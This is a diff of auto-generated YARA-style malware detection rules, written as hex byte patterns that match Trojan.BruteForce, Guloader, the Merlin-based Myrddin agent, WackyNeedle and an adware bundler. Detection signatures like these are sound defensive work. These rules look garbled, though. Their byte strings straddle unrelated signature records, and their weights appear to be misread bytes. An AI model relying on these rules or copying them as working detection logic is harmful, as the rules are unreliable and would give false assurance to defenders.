5f 43 68 61 72 73 01 00 2d 81 01 53 68 6f 72 74 50 66 61 66 64 64 64 64 64 } //18467 $a_64_1 = {64 64 64 64 64 64 66 64 64 64 72 6f 63 65 73 73 20 43 6f 6d 70 6c 65 74 65 64 01 00 2b 81 01 53 68 6f 72 74 50 64 64 64 64 64 64 66 64 64 64 64 64 64 64 64 64 64 66 64 64 64 72 6f 63 65 73 73 20 43 6f 6d 70 6c 65 74 65 64 01 00 18 81 01 53 68 6f 72 74 50 64 64 64 64 64 64 64 64 64 64 66 6d 70 6c 65 } //25700 - $a_01_2 = {00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 00 00 78 13 01 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 43 42 75 6e 64 6c } //25972 - $a_01_4 = {4f 66 66 65 72 53 65 72 76 69 63 65 42 4c 4c 2e 53 65 72 76 69 63 65 01 00 14 80 01 67 65 74 5f 4f 66 66 65 72 49 6e 73 74 61 6c 6c 44 61 74 61 01 00 11 80 01 67 65 74 5f 4f 66 66 65 72 4d 65 74 61 64 61 74 61 01 00 19 80 01 47 65 74 49 6e 73 74 61 6e 74 42 75 6e 64 6c 65 4d 65 73 73 61 67 65 49 64 01 00 0b 80 01 67 65 74 5f 4f 66 66 65 72 49 64 01 00 0d 80 01 4f 66 66 65 72 41 63 } //5888 - $a_74_5 = {64 01 00 30 80 01 3c 4f 66 66 65 72 43 68 65 63 6b 65 64 41 70 70 65 6e 64 54 6f 44 6f 77 6e 6c 6f 61 64 55 72 6c 3e 6b 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 01 00 1b 80 01 67 65 74 5f 4f 66 66 65 72 43 68 65 63 6b 65 64 43 6f 6d 6d 61 6e 64 4c 69 6e 65 01 00 10 80 01 73 65 74 5f 41 63 63 65 70 74 42 75 74 74 6f 6e 00 00 78 13 01 } //25955 - $a_3a_8 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 72 6f 6a 61 6e 2e 42 72 75 74 65 46 6f 72 63 65 21 4d 54 42 00 06 00 75 01 7f 13 00 00 04 28 4e 00 00 0a a2 25 1e 72 57 10 00 70 a2 28 6c 00 00 0a 6f 47 00 00 0a 0a 72 aa 11 } //19521 + $a_01_2 = {00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 00 00 78 13 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //25972 + $a_4c_3 = {50 30 31 21 4d 54 42 00 01 00 0f 81 01 73 74 65 6e 6b 61 73 74 65 6e 65 2e 6a 70 67 01 00 10 81 01 73 74 69 6b 70 69 6c 6c 65 72 6e 65 2e } //29285 + $a_01_4 = {00 14 81 01 46 6c 79 76 65 72 63 65 72 74 69 66 69 6b 61 74 2e 74 78 74 01 00 12 81 01 66 6f 72 66 6c 61 64 69 67 65 6c 73 65 6e 2e 69 6e 69 01 00 18 81 01 68 61 61 6e 64 73 6b 72 69 66 74 65 6e 20 61 6e 74 69 6d 6f 6e 61 74 65 01 00 15 81 01 70 79 6f 70 74 79 73 69 73 20 62 6f 67 73 74 61 76 65 6c 69 67 01 00 14 } //27763 + $a_69_5 = {75 73 20 64 61 6d 61 73 63 65 72 65 72 2e 65 78 65 01 00 1b 81 01 68 6f 75 64 61 68 20 74 72 61 77 6c 66 69 73 6b 65 72 69 73 20 66 75 70 70 65 6e 01 00 1d 81 01 6d 61 63 65 72 61 74 6f 72 73 20 63 6c 69 6e 74 73 20 73 6b 72 69 64 74 65 6e 64 65 73 00 00 78 13 01 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 43 } //385 + $a_64_6 = {65 72 00 01 00 17 80 01 4f 66 66 65 72 53 65 72 76 69 63 65 42 4c 4c 2e 53 65 72 76 69 63 65 01 00 14 80 01 67 65 74 5f 4f 66 66 65 72 49 6e 73 74 61 6c 6c 44 61 74 61 01 00 11 80 01 67 65 74 5f 4f 66 66 65 72 4d 65 74 61 64 61 74 61 01 00 19 80 01 47 65 74 49 6e 73 74 61 6e 74 42 75 6e 64 6c 65 4d 65 73 73 61 67 65 49 64 01 00 } //30018 + $a_67_7 = {74 } //-32757 t + $a_66_8 = {72 49 64 01 00 0d 80 01 4f 66 66 65 72 41 63 63 65 70 74 65 64 01 00 30 80 01 3c 4f 66 66 65 72 43 68 65 63 6b 65 64 41 70 70 65 6e 64 54 6f 44 6f 77 6e 6c 6f 61 64 55 72 6c 3e 6b 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 01 00 1b 80 01 67 65 74 5f 4f 66 66 65 72 43 68 65 63 6b 65 64 43 6f 6d 6d 61 6e 64 } //20319 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25700+(#a_01_2 & 1)*25972+(#a_01_4 & 1)*5888+(#a_74_5 & 1)*25955+(#a_3a_8 & 1)*19521) >=9 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25700+(#a_01_2 & 1)*25972+(#a_4c_3 & 1)*29285+(#a_01_4 & 1)*27763+(#a_69_5 & 1)*385+(#a_64_6 & 1)*30018+(#a_67_7 & 1)*-32757+(#a_66_8 & 1)*20319) >=9 } -rule _InfrastructureShared_16754{ +rule _InfrastructureShared_17851{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4d 50 30 31 21 4d 54 42 00 01 00 0f 81 01 73 74 65 6e 6b 61 73 74 65 6e 65 2e 6a 70 67 01 00 10 81 01 73 74 69 6b 70 69 6c 6c 65 72 6e 65 2e 73 6c 69 01 00 14 81 01 46 6c 79 76 65 72 63 65 72 74 69 } //18467 + $a_61_1 = {2e 74 78 74 01 00 12 81 01 66 6f 72 66 6c 61 64 69 67 65 6c 73 65 6e 2e 69 6e 69 01 00 18 81 01 68 61 61 6e 64 73 6b 72 69 66 74 65 6e 20 61 6e 74 69 6d 6f 6e 61 74 65 01 00 15 81 01 70 79 6f 70 74 79 73 69 73 20 62 6f 67 73 74 61 76 65 6c 69 67 01 00 14 81 01 6d 69 6d 75 73 20 64 61 6d 61 73 63 65 72 65 72 2e 65 78 65 } //26982 + $a_81_2 = {68 6f 75 64 61 68 20 74 72 61 77 6c 66 69 73 6b 65 72 69 73 20 66 75 70 70 65 6e } //1 houdah trawlfiskeris fuppen + $a_81_3 = {6d 61 63 65 72 61 74 6f 72 73 20 63 6c 69 6e 74 73 20 73 6b 72 69 64 74 65 6e 64 65 73 } //1 macerators clints skridtendes + $a_13_4 = {00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 43 42 75 6e 64 6c 65 72 00 01 00 17 80 01 4f 66 66 65 72 53 65 72 76 69 63 65 42 4c 4c 2e 53 65 72 76 69 63 65 01 00 14 80 01 67 65 74 5f 4f 66 66 65 72 49 6e 73 74 61 6c 6c 44 61 74 61 01 00 11 80 01 67 65 74 5f 4f 66 66 65 72 4d 65 74 61 64 61 74 61 01 00 19 80 01 47 65 74 49 6e 73 74 61 6e 74 42 } //0 + $a_6c_5 = {4d 65 73 73 61 67 65 49 64 01 00 0b 80 01 67 65 74 5f 4f 66 66 65 72 49 64 01 00 0d 80 01 4f 66 66 65 72 41 63 63 65 70 74 65 64 01 00 30 80 01 3c 4f 66 66 65 72 43 68 65 63 6b 65 64 41 70 70 65 6e 64 54 6f 44 6f 77 6e 6c 6f 61 64 55 72 6c 3e 6b 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 01 00 1b 80 } //28277 + $a_74_6 = {4f 66 66 65 72 43 68 65 63 6b 65 64 43 6f 6d 6d 61 6e 64 4c 69 6e 65 01 00 10 80 01 73 65 74 5f 41 63 63 65 70 74 42 75 74 74 6f 6e 00 00 78 13 01 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 72 6f 6a 61 6e 2e 42 72 75 74 65 46 6f 72 63 65 21 4d 54 42 00 06 00 75 01 7f } //26369 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26982+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_13_4 & 1)*0+(#a_6c_5 & 1)*28277+(#a_74_6 & 1)*26369) >=9 + +} +rule _InfrastructureShared_17852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -198024,21 +211223,37 @@ rule _InfrastructureShared_16754{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*24948+(#a_6b_2 & 1)*27762+(#a_6e_3 & 1)*29812+(#a_72_4 & 1)*10+(#a_72_5 & 1)*10+(#a_72_6 & 1)*10+(#a_72_7 & 1)*10+(#a_72_8 & 1)*10) >=9 } -rule _InfrastructureShared_16755{ +rule _InfrastructureShared_17853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 72 6f 6a 61 6e 2e 42 72 75 74 65 46 6f 72 63 65 21 4d 54 42 00 06 00 75 01 7f 13 00 00 04 28 4e 00 00 0a a2 25 1e 72 57 10 00 70 a2 28 6c 00 00 0a 6f 47 00 00 0a 0a 72 aa 11 00 70 28 48 00 } //16675 $a_27_1 = {00 01 0b 07 72 9d 12 00 70 6f 77 00 00 0a 00 07 72 3e 03 00 70 6f 49 00 00 0a 00 07 72 bf 12 00 70 6f 55 00 00 0a 00 07 72 9d 12 00 70 6f 56 00 00 0a 00 07 72 a6 13 00 70 6f 78 00 00 0a 00 07 72 be 13 00 70 6f 79 00 00 0a 01 00 0b 81 01 50 72 6f 78 69 65 73 2e 74 78 74 01 00 0c 81 01 53 65 73 73 69 6f 6e 73 2e 74 78 74 01 00 07 81 01 73 6f 20 65 } //2560 - $a_01_2 = {00 38 81 01 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 73 74 61 67 72 61 6d 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 73 2f 70 72 69 76 61 63 79 5f 61 6e 64 5f 73 65 63 75 72 69 74 79 2f 00 00 78 13 01 00 0a 00 0a 00 0a 00 21 23 53 4c 46 50 45 52 3a 57 69 6e 33 32 2f 4d 79 72 64 64 69 6e 2e 42 00 01 00 10 01 2f 4e 65 30 6e 64 30 67 2f 6d 65 72 6c 69 6e 2f 01 00 12 01 } //29537 - $a_67_3 = {6d 65 73 73 61 67 65 73 2e 69 6e 69 74 01 00 17 01 2f 70 6b 67 2f 6d 65 73 73 61 67 65 73 2e 53 68 65 6c 6c 63 6f 64 65 01 00 0d 01 2f 63 6f 72 65 2f 63 6f 72 65 2e 67 6f 01 00 15 01 2f 6d 65 73 73 61 67 65 73 2f 6d 65 73 73 61 67 65 73 2e 67 6f 01 00 12 01 2f 63 6d 64 2f 6d 65 72 6c 69 6e 73 65 72 76 65 72 2f 01 00 20 } //28719 - $a_6b_4 = {2f 73 65 72 76 65 72 73 2f 68 74 74 70 32 2e 28 2a 53 65 72 76 65 72 29 2e 52 75 6e 01 00 17 01 2f 70 6b 67 2f 63 6c 69 2e 65 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 01 00 15 01 2f 65 78 65 63 2f 65 78 65 63 5f 77 69 6e 64 6f 77 73 2e 67 6f 01 00 11 01 2f 61 67 65 6e 74 73 2f 61 67 65 6e 74 73 2e 67 6f 00 00 78 13 01 00 0b 00 0b 00 07 } //12033 + $a_01_2 = {00 38 81 01 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 73 74 61 67 72 61 6d 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 73 2f 70 72 69 76 61 63 79 5f 61 6e 64 5f 73 65 63 75 72 69 74 79 2f 00 00 78 13 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 48 21 4d 54 42 00 01 00 18 81 01 5c 67 6e 61 6c 6c 69 } //29537 + $a_5c_3 = {64 65 6d 66 61 63 74 6f 72 31 35 36 01 00 0b 81 01 44 79 72 65 6c 69 76 2e 69 6e 69 01 00 17 81 01 46 61 62 72 69 6b 73 66 72 65 6d 73 74 69 6c 6c 65 64 65 2e 69 6e 69 01 00 0d 81 01 53 75 70 65 72 70 6f 73 65 2e 69 6e 63 01 00 0e 81 01 54 61 78 69 64 65 61 31 33 33 2e 74 78 74 01 00 12 81 01 61 70 6f 73 74 72 6f 70 68 69 7a 69 6e 67 2e 74 78 } //26478 condition: - ((#a_46_0 & 1)*16675+(#a_27_1 & 1)*2560+(#a_01_2 & 1)*29537+(#a_67_3 & 1)*28719+(#a_6b_4 & 1)*12033) >=10 + ((#a_46_0 & 1)*16675+(#a_27_1 & 1)*2560+(#a_01_2 & 1)*29537+(#a_5c_3 & 1)*26478) >=10 } -rule _InfrastructureShared_16756{ +rule _InfrastructureShared_17854{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 48 21 4d 54 42 00 01 00 18 81 01 5c 67 6e 61 6c 6c 69 6e 67 73 5c 49 64 65 6d 66 61 63 74 6f 72 31 35 36 01 00 0b 81 01 44 79 72 65 6c 69 76 2e 69 6e 69 01 00 17 81 01 46 61 } //18467 + $a_6b_1 = {66 72 65 6d 73 74 69 6c 6c 65 64 65 2e 69 6e 69 01 00 0d 81 01 53 75 70 65 72 70 6f 73 65 2e 69 6e 63 01 00 0e 81 01 54 61 78 69 64 65 61 31 33 33 2e 74 78 74 01 00 12 81 01 61 70 6f 73 74 72 6f 70 68 69 7a 69 6e 67 2e 74 78 74 01 00 0f 81 01 66 6f 72 74 72 79 6b 6b 65 6e 65 2e 74 78 74 01 00 13 81 01 73 76 6f 76 } //29282 + $a_72_2 = {69 6e 67 65 6e 73 2e 69 6e 69 01 00 12 81 01 75 6e 64 65 72 6b 72 73 6c 65 72 6e 65 73 2e 6a 70 67 01 00 19 81 01 5c 70 65 64 65 73 74 61 6c 69 6e 67 5c 66 6c 6f 72 75 6c 61 73 2e 69 6e 69 00 00 78 13 01 00 0a 00 0a 00 0a 00 21 23 53 4c 46 50 45 52 3a 57 69 6e 33 32 2f 4d 79 72 64 64 69 6e 2e 42 00 01 00 10 01 2f 4e 65 30 6e 64 30 67 2f 6d 65 72 6c 69 6e 2f 01 } //29548 + $a_2f_3 = {6b } //4608 k + $a_65_4 = {73 61 67 65 73 2e 69 6e 69 74 01 00 17 01 2f 70 6b 67 2f 6d 65 73 73 61 67 65 73 2e 53 68 65 6c 6c 63 6f 64 65 01 00 0d 01 2f 63 6f 72 65 2f 63 6f 72 65 2e 67 6f 01 00 15 01 2f 6d 65 73 73 61 67 65 73 2f 6d 65 73 73 61 67 65 73 2e 67 6f 01 00 12 01 2f 63 6d 64 2f 6d 65 72 6c 69 6e 73 65 72 76 65 72 2f 01 00 20 01 2f 70 6b 67 } //12135 + $a_72_5 = {65 72 73 2f 68 74 74 70 32 2e 28 2a 53 65 72 76 65 72 29 2e 52 75 6e 01 00 17 01 2f 70 6b 67 2f 63 6c 69 2e 65 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 01 00 15 01 2f 65 78 65 63 2f 65 78 65 63 5f 77 69 6e 64 6f 77 73 2e 67 6f 01 00 11 01 2f 61 67 65 6e 74 73 2f 61 67 65 6e 74 73 2e 67 6f 00 00 78 13 01 } //29487 + $a_3a_8 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 61 63 6b 79 4e 65 65 64 6c 65 2e 41 21 64 68 61 00 01 00 45 01 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73 } //17748 + $a_20_9 = {2e 30 3b 20 2e 4e 45 54 20 43 4c 52 20 31 2e 31 2e 34 33 32 32 29 01 00 47 01 4d 6f 7a 69 6c 6c 61 2f 36 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 31 30 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 2e 4e 45 54 20 } //20000 + condition: + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29282+(#a_72_2 & 1)*29548+(#a_2f_3 & 1)*4608+(#a_65_4 & 1)*12135+(#a_72_5 & 1)*29487+(#a_3a_8 & 1)*17748+(#a_20_9 & 1)*20000) >=10 + +} +rule _InfrastructureShared_17855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -198056,7 +211271,7 @@ rule _InfrastructureShared_16756{ ((#a_46_0 & 1)*21283+(#a_53_1 & 1)*29541+(#a_01_2 & 1)*26414+(#a_61_3 & 1)*273+(#a_4e_4 & 1)*27491+(#a_57_5 & 1)*15152+(#a_70_7 & 1)*29800+(#a_33_8 & 1)*18765+(#a_43_9 & 1)*23092) >=10 } -rule _InfrastructureShared_16757{ +rule _InfrastructureShared_17856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -198072,7 +211287,7 @@ rule _InfrastructureShared_16757{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*22304+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*5) >=11 } -rule _InfrastructureShared_16758{ +rule _InfrastructureShared_17857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0a 00 21 " @@ -198089,7 +211304,7 @@ rule _InfrastructureShared_16758{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*25711+(#a_38_2 & 1)*20546+(#a_47_3 & 1)*-32503+(#a_65_4 & 1)*25167+(#a_64_5 & 1)*-254+(#a_2c_6 & 1)*4363+(#a_01_9 & 1)*29185) >=15 } -rule _InfrastructureShared_16759{ +rule _InfrastructureShared_17858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -198101,7 +211316,7 @@ rule _InfrastructureShared_16759{ ((#a_63_0 & 1)*16931+(#a_85_1 & 1)*29951+(#a_4b_2 & 1)*24940) >=100 } -rule _InfrastructureShared_16760{ +rule _InfrastructureShared_17859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -198112,7 +211327,7 @@ rule _InfrastructureShared_16760{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*257) >=2 } -rule _InfrastructureShared_16761{ +rule _InfrastructureShared_17860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -198124,7 +211339,7 @@ rule _InfrastructureShared_16761{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29555+(#a_72_3 & 1)*29774) >=2 } -rule _InfrastructureShared_16762{ +rule _InfrastructureShared_17861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -198138,7 +211353,7 @@ rule _InfrastructureShared_16762{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*29295+(#a_79_2 & 1)*28525+(#a_41_3 & 1)*29797+(#a_00_4 & 1)*105) >=2 } -rule _InfrastructureShared_16763{ +rule _InfrastructureShared_17862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -198150,7 +211365,7 @@ rule _InfrastructureShared_16763{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_41_2 & 1)*11568) >=3 } -rule _InfrastructureShared_16764{ +rule _InfrastructureShared_17863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -198161,7 +211376,7 @@ rule _InfrastructureShared_16764{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*10244) >=3 } -rule _InfrastructureShared_16765{ +rule _InfrastructureShared_17864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -198175,7 +211390,7 @@ rule _InfrastructureShared_16765{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*15677+(#a_01_2 & 1)*28265+(#a_6f_3 & 1)*29555+(#a_72_4 & 1)*30313) >=3 } -rule _InfrastructureShared_16766{ +rule _InfrastructureShared_17865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -198188,7 +211403,7 @@ rule _InfrastructureShared_16766{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*17253+(#a_74_2 & 1)*23328+(#a_65_3 & 1)*29561) >=3 } -rule _InfrastructureShared_16767{ +rule _InfrastructureShared_17866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -198199,7 +211414,7 @@ rule _InfrastructureShared_16767{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101) >=4 } -rule _InfrastructureShared_16768{ +rule _InfrastructureShared_17867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198209,7 +211424,7 @@ rule _InfrastructureShared_16768{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16769{ +rule _InfrastructureShared_17868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198222,7 +211437,7 @@ rule _InfrastructureShared_16769{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_04_2 & 1)*1809+(#a_1f_3 & 1)*4362) >=4 } -rule _InfrastructureShared_16770{ +rule _InfrastructureShared_17869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -198235,7 +211450,7 @@ rule _InfrastructureShared_16770{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28521+(#a_65_2 & 1)*6656+(#a_00_4 & 1)*56) >=5 } -rule _InfrastructureShared_16771{ +rule _InfrastructureShared_17870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -198249,7 +211464,7 @@ rule _InfrastructureShared_16771{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*11884+(#a_00_3 & 1)*117+(#a_68_4 & 1)*296+(#a_00_5 & 1)*102) >=5 } -rule _InfrastructureShared_16772{ +rule _InfrastructureShared_17871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -198264,7 +211479,7 @@ rule _InfrastructureShared_16772{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*11876+(#a_00_2 & 1)*101+(#a_33_3 & 1)*21038+(#a_01_4 & 1)*25955+(#a_3c_5 & 1)*13104) >=6 } -rule _InfrastructureShared_16773{ +rule _InfrastructureShared_17872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -198278,7 +211493,7 @@ rule _InfrastructureShared_16773{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*21316+(#a_00_2 & 1)*29541+(#a_65_3 & 1)*17665+(#a_52_4 & 1)*21320) >=6 } -rule _InfrastructureShared_16774{ +rule _InfrastructureShared_17873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -198292,7 +211507,7 @@ rule _InfrastructureShared_16774{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_00_3 & 1)*78+(#a_00_4 & 1)*69+(#a_01_5 & 1)*25441) >=6 } -rule _InfrastructureShared_16775{ +rule _InfrastructureShared_17874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -198308,7 +211523,7 @@ rule _InfrastructureShared_16775{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*21505+(#a_00_2 & 1)*46+(#a_66_3 & 1)*25455+(#a_5a_4 & 1)*26986+(#a_80_5 & 1)*-100+(#a_80_6 & 1)*-100) >=6 } -rule _InfrastructureShared_16776{ +rule _InfrastructureShared_17875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -198326,7 +211541,7 @@ rule _InfrastructureShared_16776{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*25162+(#a_54_2 & 1)*384+(#a_6f_3 & 1)*30023+(#a_61_4 & 1)*26988+(#a_65_5 & 1)*29554+(#a_6d_6 & 1)*17454+(#a_64_7 & 1)*27756+(#a_67_8 & 1)*12108) >=6 } -rule _InfrastructureShared_16777{ +rule _InfrastructureShared_17876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -198340,7 +211555,7 @@ rule _InfrastructureShared_16777{ ((#a_54_0 & 1)*18467+(#a_64_2 & 1)*29953+(#a_72_3 & 1)*27493+(#a_01_5 & 1)*4864+(#a_2e_6 & 1)*24929) >=7 } -rule _InfrastructureShared_16778{ +rule _InfrastructureShared_17877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -198357,7 +211572,7 @@ rule _InfrastructureShared_16778{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*28274+(#a_73_2 & 1)*29285+(#a_53_3 & 1)*14958+(#a_69_4 & 1)*29811+(#a_53_5 & 1)*21331+(#a_45_6 & 1)*19246+(#a_6f_7 & 1)*29540) >=8 } -rule _InfrastructureShared_16779{ +rule _InfrastructureShared_17878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -198375,7 +211590,7 @@ rule _InfrastructureShared_16779{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*-32753+(#a_63_2 & 1)*29300+(#a_53_3 & 1)*21331+(#a_6f_4 & 1)*30023+(#a_61_5 & 1)*26996+(#a_70_6 & 1)*30308+(#a_6f_8 & 1)*385+(#a_63_9 & 1)*30063) >=10 } -rule _InfrastructureShared_16780{ +rule _InfrastructureShared_17879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -198394,7 +211609,7 @@ rule _InfrastructureShared_16780{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29185+(#a_72_2 & 1)*20572+(#a_00_3 & 1)*66+(#a_6f_4 & 1)*385+(#a_63_5 & 1)*30063+(#a_65_6 & 1)*385+(#a_4d_7 & 1)*12337+(#a_72_8 & 1)*2816+(#a_63_9 & 1)*30063) >=10 } -rule _InfrastructureShared_16781{ +rule _InfrastructureShared_17880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -198413,7 +211628,7 @@ rule _InfrastructureShared_16781{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_49_2 & 1)*-32500+(#a_4d_3 & 1)*27503+(#a_52_4 & 1)*2304+(#a_63_5 & 1)*30063+(#a_61_6 & 1)*29801+(#a_41_8 & 1)*8448+(#a_61_9 & 1)*25445+(#a_81_10 & 1)*1) >=10 } -rule _InfrastructureShared_16782{ +rule _InfrastructureShared_17881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -198433,7 +211648,7 @@ rule _InfrastructureShared_16782{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*25964+(#a_65_2 & 1)*29301+(#a_54_3 & 1)*25970+(#a_65_4 & 1)*28530+(#a_73_5 & 1)*25455+(#a_39_6 & 1)*25189+(#a_53_7 & 1)*28531+(#a_5f_8 & 1)*273+(#a_00_9 & 1)*66+(#a_68_10 & 1)*29797) >=11 } -rule _InfrastructureShared_16783{ +rule _InfrastructureShared_17882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -198454,7 +211669,7 @@ rule _InfrastructureShared_16783{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20581+(#a_00_2 & 1)*12654+(#a_65_3 & 1)*385+(#a_32_4 & 1)*13872+(#a_5f_5 & 1)*18177+(#a_44_6 & 1)*4608+(#a_5f_7 & 1)*24415+(#a_2e_8 & 1)*28007+(#a_69_9 & 1)*29811+(#a_4f_10 & 1)*30034+(#a_08_11 & 1)*2560) 